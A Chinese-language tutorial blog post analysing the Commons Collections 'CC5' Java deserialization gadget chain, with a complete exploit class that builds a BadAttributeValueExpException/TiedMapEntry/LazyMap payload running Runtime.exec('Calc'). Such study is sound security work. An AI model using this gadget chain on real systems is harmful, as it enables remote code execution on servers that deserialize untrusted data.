Java反序列化 CC5链

发布时间 2023-12-06 21:59:43作者: Jasper_sec

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

环境搭建

Commons.Collections 3.2.1
jdk8u65

利用链分析

后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
 */

Exp编写

LazyMap.get()

这里复习一下CC1-LazyMap,通过lazyMap.get("xxx");即可触发命令执行

public class TestCC5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        lazyMap.get("Jasper");
    }
}

TiedMapEntry.toString()

toString()会调用到map.get(key),通过构造函数设置map=lazyMap即可接上链条。
image.png

//CC1-LazyMap 后半段
Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
// 前半段不同的
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
tiedMapEntry.toString();

image.png

BadAttributeValueExpException.readObject()

这里有现成的toString方法,只需要把val给改成tiedMapEntry就好,而这个val是反序列化的时候获得的序列化流里的名字为"val"的Field,这里我们把他设置成tiedMapEntry就行。
image.png
需要注意在BadAttributeValueExpException的构造函数里也会执行val.toString(),为了避免在反序列化前就触发链条,我们不在构造函数里设置val,我们还是用老方法,先改空值,再改回去。

  • BadAttributeValueExpException的构造函数传null,val赋值为null,获得badAttributeValueExpException对象
  • 通过反射badAttributeValueExpException设置对象的val值
//传入null,避免提前触发链条,后面反射改值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz =  BadAttributeValueExpException.class;
Field valField = clazz.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

最终Exp

public class TestCC5 {
    public static void main(String[] args) throws Exception{
        //CC1-LazyMap 后半段
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        // 前半段不同的
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
//        tiedMapEntry.toString();
        //传入null,避免提前触发链条,后面反射改值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class clazz =  BadAttributeValueExpException.class;
        Field valField = clazz.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize();

    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

image.png

总结

本质就是在LazyMap.get()的基础上换了个入口类,可以和CC1-LazyMap、CC6对比着看。